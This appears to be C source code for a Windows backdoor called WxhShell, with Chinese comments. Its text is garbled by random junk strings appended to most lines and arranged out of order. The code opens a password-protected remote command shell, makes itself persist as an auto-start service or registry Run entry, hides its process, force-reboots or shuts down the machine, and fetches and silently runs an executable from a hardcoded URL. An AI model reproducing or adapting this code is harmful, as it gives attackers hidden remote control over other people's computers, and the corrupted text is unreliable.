    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g:V6B/M&  
    else { ;0WlvKF  
    closesocket(wsh); <CdO& xUY  
    ExitThread(0); z}|'&O*.F  
    } }:A kpm  
    break; zoXF"Nz  
    } 3?<vnpN=5d  
  // 获取shell wjs7K|PK  
  case 's': { }\*|b@)]  
    CmdShell(wsh); B!lw>rUMQ  
    closesocket(wsh); .4-S|]/d,  
    ExitThread(0); 4cL=f  
    break; JaTW/~ TU  
  } S|i //I%_  
  // 退出 JD .z}2+  
  case 'x': { NIGFu{S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q0A1N[  
    CloseIt(wsh); 7hQl,v< 5  
    break; awtzt?VtLh  
    } 6&cU*Io@  
  // 离开 \^D`Hvg  
  case 'q': { AUd}) UR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q2Dg~et  
    closesocket(wsh); GH!#"Sl8Z  
    WSACleanup(); -. G0k*[d  
    exit(1); (["u"m%  
    break; f+RDvgkKU  
        } ?J AzN  
  } 9w|q':<  
  } 3H2'HO  
GQQ6 t  
  // 提示信息 /vU31_eZt  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A1@a:P=  
} iWEYSi\)n  
  } `W=JX2I  
rA7S1)Kq  
  return; q Sah_N  
} f&J*(F*u  
IB<ihk  
// shell模块句柄 g>{=R|uO5  
int CmdShell(SOCKET sock) Ea 1>]V  
{ [o "@*kf  
STARTUPINFO si; q}lSnWY[[  
ZeroMemory(&si,sizeof(si)); HvU)GJ u b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0o`o'ZV=c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /6fsh7 \  
PROCESS_INFORMATION ProcessInfo; hvwr!(|W  
char cmdline[]="cmd"; )XWL'':bF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N[%IrN3  
  return 0; Ex{]<6UAu  
} `K.yE0^i  
YrX{,YtiX  
// 自身启动模式 G5Nub9_*X  
int StartFromService(void) y+_U6rv[  
{ 4ai3@f5  
typedef struct G9TUU.T  
{  K!j2AP3  
  DWORD ExitStatus; Z(cgI5Pu  
  DWORD PebBaseAddress; G}x^PJJt  
  DWORD AffinityMask; 7Udr~ 0_)  
  DWORD BasePriority; >jIc/yEYKI  
  ULONG UniqueProcessId; e~1??k.;=  
  ULONG InheritedFromUniqueProcessId; psBBiHB[L  
}   PROCESS_BASIC_INFORMATION; ~EymD *  
qp8;=Nfa  
PROCNTQSIP NtQueryInformationProcess; +a{>jzR  
P^z)]K#sw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4-AmzU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Qoc-ZC"<6  
ZzY6M"eUXD  
  HANDLE             hProcess; p}\!"&,^m  
  PROCESS_BASIC_INFORMATION pbi; !!AutkEg>  
(<t)5?@%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =:lacK(0  
  if(NULL == hInst ) return 0; <cS1}"  
o z QL2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )DW;Gc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S!uyplYKF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]`x~v4JU  
!q?}[E2  
  if (!NtQueryInformationProcess) return 0; _[V 6s#Wk3  
 .*+ &>m7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *e=e7KC6kI  
  if(!hProcess) return 0; ]#;JPO#*  
6K6ihR!d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V*)gJg  
6Yu8ReuL  
  CloseHandle(hProcess); _F$?Z  
:DEZ$gi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mOBS[M5*  
if(hProcess==NULL) return 0; zc_3\N  
1 OX(eXF>  
HMODULE hMod; %q@@0qenv  
char procName[255]; y~w$>7U.  
unsigned long cbNeeded; I#0$5a},u^  
z\a#"2(G.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YRl2e`&jt  
Xv6s,<#\  
  CloseHandle(hProcess); 2KU [Yd  
nX~sVG{Q  
if(strstr(procName,"services")) return 1; // 以服务启动 Y0DBkg  
DY%E&Vd:h  
  return 0; // 注册表启动 }Q*8QV  
} :%{8lanO  
;G ?_^ 0  
// 主模块 Z^b1i`v  
int StartWxhshell(LPSTR lpCmdLine) 3>Yec6Hs  
{ !,]_tw>R  
  SOCKET wsl; |&7l*j(\  
BOOL val=TRUE; G'%mmA\  
  int port=0; <7qM;) g  
  struct sockaddr_in door; $8b/"Qm  
k;]&`c^5  
  if(wscfg.ws_autoins) Install(); 0 @>3fR  
9d v+u6)  
port=atoi(lpCmdLine); "&An9H'  
U_+>4zdm  
if(port<=0) port=wscfg.ws_port; XWk^$"  
Xln'~5~)  
  WSADATA data; o(}vR<tD\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TMbj]Mso  
) Limt<S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   yzYPT}t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h[Hw9$31  
  door.sin_family = AF_INET; `5 bHZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >-Jutr<I"~  
  door.sin_port = htons(port); ibh!8"[  
E[ ,Ur`>:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \D0Pik@?  
closesocket(wsl); S%'t )tt,  
return 1; yB&s2J  
} |[0|j/V%O  
0nC%tCV'  
  if(listen(wsl,2) == INVALID_SOCKET) { cxVnlgq1  
closesocket(wsl); SH"O<c Dp  
return 1; jZ)1]Q2  
} {'JoVJKv  
  Wxhshell(wsl); 0q81H./3  
  WSACleanup(); &<4Jyhm:o  
V^"5cW  
return 0; /Ue~W, |  
M Su_*&j9T  
} V5m4dQ>t  
|#"<{RS+w  
// 以NT服务方式启动 (JOge~U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tONxV`  
{ v]BN.SHE_  
DWORD   status = 0; `uY77co6  
  DWORD   specificError = 0xfffffff; VCtj8hKDr  
kd2+k4@#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Go8 m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :\>@yCD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f$R]m2  
  serviceStatus.dwWin32ExitCode     = 0; \ 7jK6;R<  
  serviceStatus.dwServiceSpecificExitCode = 0; N,L$+wm  
  serviceStatus.dwCheckPoint       = 0; 1O8RGk4  
  serviceStatus.dwWaitHint       = 0; ? 3Td>x  
so1% MV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .,I^)8c  
  if (hServiceStatusHandle==0) return; Bf.@B0\  
Ft'?43J  
status = GetLastError(); Y'wQ(6ok  
  if (status!=NO_ERROR) yi PMJ  
{ THC34u]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;BsyN[bF  
    serviceStatus.dwCheckPoint       = 0; }Til $TT%H  
    serviceStatus.dwWaitHint       = 0; x^&D8&4^  
    serviceStatus.dwWin32ExitCode     = status; ; &$djP  
    serviceStatus.dwServiceSpecificExitCode = specificError; !IF#L0z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _O{3bIay3!  
    return; dL!PpLR$2  
  } u.43b8!  
C0J/FFBQ^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p{gJVP#l'Z  
  serviceStatus.dwCheckPoint       = 0; %8s$l'Q;  
  serviceStatus.dwWaitHint       = 0; <;G.(CK@n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [5yLg  
} w,n&K6<  
edD19A  
// 处理NT服务事件,比如:启动、停止 bkTk:-L5:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [7 oU =  
{ ]hRCB=G  
switch(fdwControl) qXcHf6  
{ J sde+G,N  
case SERVICE_CONTROL_STOP: R1)v;^B|)  
  serviceStatus.dwWin32ExitCode = 0; :+06M@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [f 4Nq \i  
  serviceStatus.dwCheckPoint   = 0; 7S|nn|\Kp  
  serviceStatus.dwWaitHint     = 0; ' GcN9D  
  { 6B'd]Fe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,t2Mur  
  } yy8h8{=g  
  return; ei%L[>N  
case SERVICE_CONTROL_PAUSE: Pv@Lx+ k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; WKek^TW4HE  
  break; >UlAae44  
case SERVICE_CONTROL_CONTINUE: $}+t|`*q8]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RDGefxv  
  break; p,0J $L  
case SERVICE_CONTROL_INTERROGATE: \iVb;7r)9:  
  break; vr/*z euA  
}; O1[`2kj^HB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;hzm&My  
} Q*&k6A"jx  
3 vr T`  
// 标准应用程序主函数 W~b->F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  $I}7EI  
{ `3GYV|LeQ  
3HCH-?U5  
// 获取操作系统版本 l1 Nr5PT  
OsIsNt=GetOsVer(); ;tg9$P<85  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?o$ hlX  
oy{ {d  
  // 从命令行安装 (@X].oM^y  
  if(strpbrk(lpCmdLine,"iI")) Install(); TuR.'kE@  
`,~8(rIM  
  // 下载执行文件 ?9W2wqN>o  
if(wscfg.ws_downexe) { J7a_a>Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &RF*pU>  
  WinExec(wscfg.ws_filenam,SW_HIDE); lfTDpKz3D  
} [ H|ifi  
|%\>+/j$  
if(!OsIsNt) { A43 mX !g\  
// 如果时win9x,隐藏进程并且设置为注册表启动 q}x+#[Ef  
HideProc(); n06T6oc  
StartWxhshell(lpCmdLine); P~xP@? I%  
} ZE393FnE  
else ,Kl6vw8Htg  
  if(StartFromService()) ~!//|q^ J]  
  // 以服务方式启动 #u]'3en  
  StartServiceCtrlDispatcher(DispatchTable); 3pU/Z bb,:  
else {&3{_Ml  
  // 普通方式启动 :9?y-X  
  StartWxhshell(lpCmdLine); T'8d|$X  
85gdmla@9  
return 0; ';,Rq9-'  
} ` b$u w  
ku*H*o~  
Wy:xiP  
ZlEQzL~  
=========================================== 7^bde<0  
J)I|Xot  
(?y (0%q  
lE|Hp  
>n(Ga9E  
']Z1nb  
" $*-UY  
xZ84q'i"  
#include <stdio.h> HdR%n  
#include <string.h> /U@T#S  
#include <windows.h> yUY* l@v]  
#include <winsock2.h> w%'8bH!  
#include <winsvc.h> HuB\92u  
#include <urlmon.h> }[FP"#  
@a~GHG[x  
#pragma comment (lib, "Ws2_32.lib") Rlyx& C8  
#pragma comment (lib, "urlmon.lib") 0cF +4,5  
P[L] S7FTr  
#define MAX_USER   100 // 最大客户端连接数 (Vz\02,K  
#define BUF_SOCK   200 // sock buffer Thc"QIk&4  
#define KEY_BUFF   255 // 输入 buffer !TwH;#U w  
xQKRUHDc  
#define REBOOT     0   // 重启 -mfdngp3  
#define SHUTDOWN   1   // 关机 f?Am)  
XSBh+)0Ww  
#define DEF_PORT   5000 // 监听端口 {BI5lvx:  
F'Lav?^  
#define REG_LEN     16   // 注册表键长度 =CqZ$  
#define SVC_LEN     80   // NT服务名长度 e09('SON(  
$_5a1Lq1  
// 从dll定义API D^-6=@<3KD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [Z -S0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a@?2T,$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +-$Hx5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~[*\YN);  
$C.;GUEQ  
// wxhshell配置信息 6R=dg2tKT  
struct WSCFG { V!&O5T(~  
  int ws_port;         // 监听端口 .ey=gI!x0  
  char ws_passstr[REG_LEN]; // 口令 +!6dsnr8  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]Oh8LcE#BF  
  char ws_regname[REG_LEN]; // 注册表键名 %G43g#pD  
  char ws_svcname[REG_LEN]; // 服务名 P-Up v6J3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b~Q8&z2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d&G#3}kOb%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \g;o9}@3~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2N /4.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5,~Ju>y*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {];8jdg/?  
\+3P<?hD#  
}; =k0qj_  
'n$TJp|s  
// default Wxhshell configuration QA"mWw-Ds  
struct WSCFG wscfg={DEF_PORT, $-#|g  
    "xuhuanlingzhe", $C^tZFq  
    1, oU[>.Igi  
    "Wxhshell", F?y4 L9|e  
    "Wxhshell", aMq|xHZ  
            "WxhShell Service", z4B-fS]  
    "Wrsky Windows CmdShell Service", vj#Y /B  
    "Please Input Your Password: ", ]f}#&]<(T  
  1, iD"9,1@~n  
  "http://www.wrsky.com/wxhshell.exe", .$~zxd#zo  
  "Wxhshell.exe" jM07&o]D  
    }; dd> qy  
Li2-G  
// 消息定义模块 @w[2 BaDt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _VM()n;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }@Dgr)*+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OF_g0Zu  
char *msg_ws_ext="\n\rExit."; 4n5r<?rY  
char *msg_ws_end="\n\rQuit."; G[4$@{  
char *msg_ws_boot="\n\rReboot..."; #[LnDU8>9  
char *msg_ws_poff="\n\rShutdown..."; yE{(Ebm  
char *msg_ws_down="\n\rSave to "; %V;B{?>9zB  
A@81wv  
char *msg_ws_err="\n\rErr!"; ;&$Nn'~a  
char *msg_ws_ok="\n\rOK!"; +#@)C?G,TF  
@b@#  o  
char ExeFile[MAX_PATH]; :`X!no; {  
int nUser = 0; nMT"Rp  
HANDLE handles[MAX_USER]; [gE_\=FSKu  
int OsIsNt; L5{DWm~@  
")xd 'V  
SERVICE_STATUS       serviceStatus; ^f?>;,<&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FbU98n+z  
$!q(-+(  
// 函数声明 W+5<=jXFB  
int Install(void); nP5T*-~  
int Uninstall(void); }Kt1mmo:`  
int DownloadFile(char *sURL, SOCKET wsh); f8JWg9 m  
int Boot(int flag); Z!eW_""wp  
void HideProc(void); tQYkH$e`/{  
int GetOsVer(void); }^a" >$DU  
int Wxhshell(SOCKET wsl); HA#9y;\  
void TalkWithClient(void *cs); >JUOS2  
int CmdShell(SOCKET sock); yZc_PC`  
int StartFromService(void); 0*{ 2^\  
int StartWxhshell(LPSTR lpCmdLine); *rH# k?  
;GF+0~5>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o1^Rx5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $AyE6j_1gX  
b>]MZhLJe  
// 数据结构和表定义 1Ht&;V  
SERVICE_TABLE_ENTRY DispatchTable[] = T-)lnrs^  
{ Z^_-LX:%  
{wscfg.ws_svcname, NTServiceMain}, q7kE+z   
{NULL, NULL} 24b?6^8~k  
}; U5!~ @XjG>  
P+2@,?9#  
// 自我安装 Mq,2S  
int Install(void) ih\=mB  
{ ra]lC7<H  
  char svExeFile[MAX_PATH]; 15dbM/Gj  
  HKEY key; 2b89th  
  strcpy(svExeFile,ExeFile); E Z+L'  
LEn+0^hX  
// 如果是win9x系统,修改注册表设为自启动 2T&n6t$p  
if(!OsIsNt) { f:u3fL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gF53[\w^v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |g1~-  
  RegCloseKey(key); 0E^6"nt7N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { chs] ,7R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QTLGM-Z  
  RegCloseKey(key); ww#]i&6  
  return 0; viXt]0  
    } @Lk!nP  
  } SpJIEw  
} hztxsvw  
else { /OtLIM+7~{  
'5; /V  
// 如果是NT以上系统,安装为系统服务  U rL|r.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L<H zPg  
if (schSCManager!=0) LAjreC<W  
{ RIV + _}R  
  SC_HANDLE schService = CreateService n5s2\(  
  ( 6*r#m%|   
  schSCManager, Zog&:]P'F  
  wscfg.ws_svcname, !E.CpfaC  
  wscfg.ws_svcdisp, t;/s^-}  
  SERVICE_ALL_ACCESS, b-Xc6f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J *nWCL  
  SERVICE_AUTO_START, /]>8V'e\  
  SERVICE_ERROR_NORMAL, }_|qDMk+  
  svExeFile, I;GbS`  
  NULL, E=$li  
  NULL, Mo4k6@ht_  
  NULL, 45aFH}w:  
  NULL, ApSzkPv*  
  NULL ^jB17z[  
  ); ZgI?#e  
  if (schService!=0) efX iZ  
  { #BhDC.CcW  
  CloseServiceHandle(schService); `:#IZ  
  CloseServiceHandle(schSCManager); Wz&[ cj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Rn9e#_Az  
  strcat(svExeFile,wscfg.ws_svcname); H7?Sd(U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q<Z`<e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c5- 56 Q  
  RegCloseKey(key); {NTMvJLm  
  return 0; D&-cNxh  
    } /{%p%Q[X  
  } q .s'z}  
  CloseServiceHandle(schSCManager); k^ Qd%;bdF  
} Z3qr2/  
} AQm#a;  
>hv8zHOO:  
return 1; ?)V|L~/  
} M'5PPBSR  
6.6;oa4j  
// 自我卸载 E x )fXQ+  
int Uninstall(void) WWgJ !Uz  
{ %*a%F~Ss  
  HKEY key; (U([T-H  
Lc! t  
if(!OsIsNt) { cTa$t :K@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6R#.AD\  
  RegDeleteValue(key,wscfg.ws_regname); b-?d(-  
  RegCloseKey(key); ~jD~_JGp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GWW#\0*Bn  
  RegDeleteValue(key,wscfg.ws_regname); a%*W( 4=Y  
  RegCloseKey(key); sa w  
  return 0; c@|f'V4  
  } #I}w$j i  
} Wf{&D>  
} awU&{<,=g  
else { <TEDqQ  
9][A1 +"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d A>6  
if (schSCManager!=0) `;)op3A'  
{ E++3GagdiD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8;y\Ln?B  
  if (schService!=0) 4L<;z'   
  { Vi<6i0  
  if(DeleteService(schService)!=0) { FM,o&0HSd  
  CloseServiceHandle(schService); '4)4*3z,  
  CloseServiceHandle(schSCManager); ,Q,3^v-  
  return 0; e !N%   
  } Y,M 2 D  
  CloseServiceHandle(schService); UFGUP]J>  
  } _jM+;=f  
  CloseServiceHandle(schSCManager); /RemLJP F  
} ^KUM4. 6  
} &Pe[kCO]  
R/P9=yvg0  
return 1; EYR%u'&7'  
} bltZQI|  
9S/X,|i  
// 从指定url下载文件 x \b+B  
int DownloadFile(char *sURL, SOCKET wsh) ;T3}#Q*qC  
{ aE[:9{<|  
  HRESULT hr; kJ"}JRA<  
char seps[]= "/"; ![ @i+hl  
char *token; Y/]J0D  
char *file; xp%LXx j  
char myURL[MAX_PATH]; m2v'zJd}g  
char myFILE[MAX_PATH]; 2Q)pT$  
8d[!"lL  
strcpy(myURL,sURL); 4P=)u}{]^#  
  token=strtok(myURL,seps); d~;U-  
  while(token!=NULL) 1EQLsg`d^  
  { 4$ ^rzAi5  
    file=token; U"OA m}  
  token=strtok(NULL,seps); PMZ*ECIJU  
  } q DPl( WXb  
91|~KR)  
GetCurrentDirectory(MAX_PATH,myFILE); jwO7r0?\`G  
strcat(myFILE, "\\"); # B@*-  
strcat(myFILE, file); JlE b  
  send(wsh,myFILE,strlen(myFILE),0); :LLz$[c8  
send(wsh,"...",3,0); s)}EMDY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5"z~BE7  
  if(hr==S_OK) TGzs|-  
return 0; >K*TgG6!X  
else rnQ9uNAu  
return 1; o?><(A|  
)F m'i&F_  
} } QpyU%  
3Gt@Fo=  
// 系统电源模块 Fiaeo0  
int Boot(int flag) rq|>z.  
{ V PI_pK  
  HANDLE hToken; 3Y=uBl  
  TOKEN_PRIVILEGES tkp; fKNDl\SD  
N >k,"=N /  
  if(OsIsNt) { MrhJk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Hh'o:j(^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vPM 2cc/o  
    tkp.PrivilegeCount = 1; -5Aqf\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +t}<e(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @] 3`S  
if(flag==REBOOT) { LX7<+`aa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Am=O-; b'8  
  return 0; I 8 Ls_$[  
} `! _mIh}  
else { X;d 1@G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vg\fBHzn  
  return 0; ?<~P)aVVj  
} wj9 Hh  
  } `g'z6~c7n  
  else { Y*YV/E.  
if(flag==REBOOT) { Z[9f8/6<b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) seA=7c5E  
  return 0; /OeOL3Y  
} tx]!|x" F  
else { YQaL)t$0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %kL]-Z  
  return 0; 9` G}GU]@}  
} !uN_<!  
} FmhN*ZXr #  
*wV`7\@  
return 1; L87=*_!B;  
} %i@Jw  
~i=5NUE  
// win9x进程隐藏模块 CM 8Ub%  
void HideProc(void) rQ&F Gb  
{ )P9&I.a8  
~}ba2dU8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g&d tOjM  
  if ( hKernel != NULL ) 2qPQ3-'  
  { iQz c$y^,9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;xjw'%n,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P |;=dX#-  
    FreeLibrary(hKernel); (z^9 87G  
  } 0ae}!LO  
\g:Bg%43h  
return; gkld}t*U  
} m ?jF:] ^  
E\XD~  
// 获取操作系统版本 |1UJKJwX  
int GetOsVer(void) 92g&,Wb  
{ kXW$[R  
  OSVERSIONINFO winfo; ci`N ,&:R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^spASG -o  
  GetVersionEx(&winfo); CxJH)H$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mH7Mch| m  
  return 1; h;t5v6["  
  else Kr74|W=  
  return 0; rB.LG'GG]  
} W(jP??up  
ItwJL`  
// 客户端句柄模块 )k&!&  
int Wxhshell(SOCKET wsl) B/b S:  
{ z+X DN:  
  SOCKET wsh; ~jM!8]=  
  struct sockaddr_in client; Yjix]lUXVf  
  DWORD myID; X XC(R  
U[c^xz&  
  while(nUser<MAX_USER) jmva0K},SE  
{ 99?: 9g  
  int nSize=sizeof(client); P~u~`eH*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CO"Nv  
  if(wsh==INVALID_SOCKET) return 1; kqp*o+Oz',  
CYN")J8V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _rfGn,@BH  
if(handles[nUser]==0) 2qDVAq^@  
  closesocket(wsh); ( 2i{8  
else Y1L7sH 9  
  nUser++; 0 A6% !h  
  } 7A4_b8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K5:>  
.u&GbM%Ga  
  return 0; [TX5O\g![  
} /Pgc W  
^:,I #]  
// 关闭 socket "[wP1n!G  
void CloseIt(SOCKET wsh) "yc@_+"\+  
{ qb >mUS  
closesocket(wsh); V.~C.x  
nUser--; j$}W%ibj  
ExitThread(0); dnstm@0k  
}  ~ A4_  
992cy2,Fb  
// 客户端请求句柄 WcKL=Z?(  
void TalkWithClient(void *cs) ys Td'J  
{ VTwJtWnq  
"D.`:9sk0  
  SOCKET wsh=(SOCKET)cs; rT28q .  
  char pwd[SVC_LEN]; +<\.z*  
  char cmd[KEY_BUFF]; W,p?}KiO T  
char chr[1]; VVm8bl.q  
int i,j; pXq5|,aC  
,|Lf6k  
  while (nUser < MAX_USER) { 7Un5Y[FZo  
_J -3{a  
if(wscfg.ws_passstr) { `T~~yM)q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rd!4u14  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S$1dXXT  
  //ZeroMemory(pwd,KEY_BUFF); 2j*o[kAE  
      i=0; !; COFR  
  while(i<SVC_LEN) { z.]  
V] 0~BV  
  // 设置超时 2^T`> ?{X  
  fd_set FdRead; \EOPlyf8x  
  struct timeval TimeOut; U+'h~P'4  
  FD_ZERO(&FdRead); e$=0.GWT  
  FD_SET(wsh,&FdRead); I-o |~  
  TimeOut.tv_sec=8;  ylBjuD+  
  TimeOut.tv_usec=0; i9quP"<9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J#jx)K!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &/tGT3)  
E>3(ff&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A]q"+Z]  
  pwd=chr[0]; "`aLSw75x  
  if(chr[0]==0xd || chr[0]==0xa) { R[{s\  
  pwd=0; iK <vr  
  break; :/941?%M  
  } E6mwvrm8  
  i++; J:JkX>n%k=  
    } "I)`g y&  
MPF;P&6  
  // 如果是非法用户,关闭 socket = , ^eQZR:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T{Y;-m  
} @>SirYh  
o@blvW<v7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C J#1j>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gs)2HR@>  
Ph|\%P`>%  
while(1) { PcQqdU^!  
nK;c@!~pS  
  ZeroMemory(cmd,KEY_BUFF); EG3?C  
92)e/t iP  
      // 自动支持客户端 telnet标准   @?\[M9yK  
  j=0; =}7[ypQM`]  
  while(j<KEY_BUFF) { @h";gN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zm~oV?6  
  cmd[j]=chr[0]; '+*{u]\  
  if(chr[0]==0xa || chr[0]==0xd) { FCMV1,  
  cmd[j]=0; :{ Q[kYj  
  break; ";$rcg"%X  
  } f*& 4d  
  j++; @ob4y  
    }  (zL(  
}[m,HA<j  
  // 下载文件 tNbZ{=I>  
  if(strstr(cmd,"http://")) { v6q oH)n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z6f N)kw  
  if(DownloadFile(cmd,wsh)) szW85{<+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u AmDXqJ 3  
  else BT8L'qEj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >V1v.JH  
  } oUG!=.1}K5  
  else { haW*W=kv)  
eod-N}o  
    switch(cmd[0]) { % A8dO+W  
  /3ty*LQT  
  // 帮助 }4A $j{\  
  case '?': { pwG"_|h  
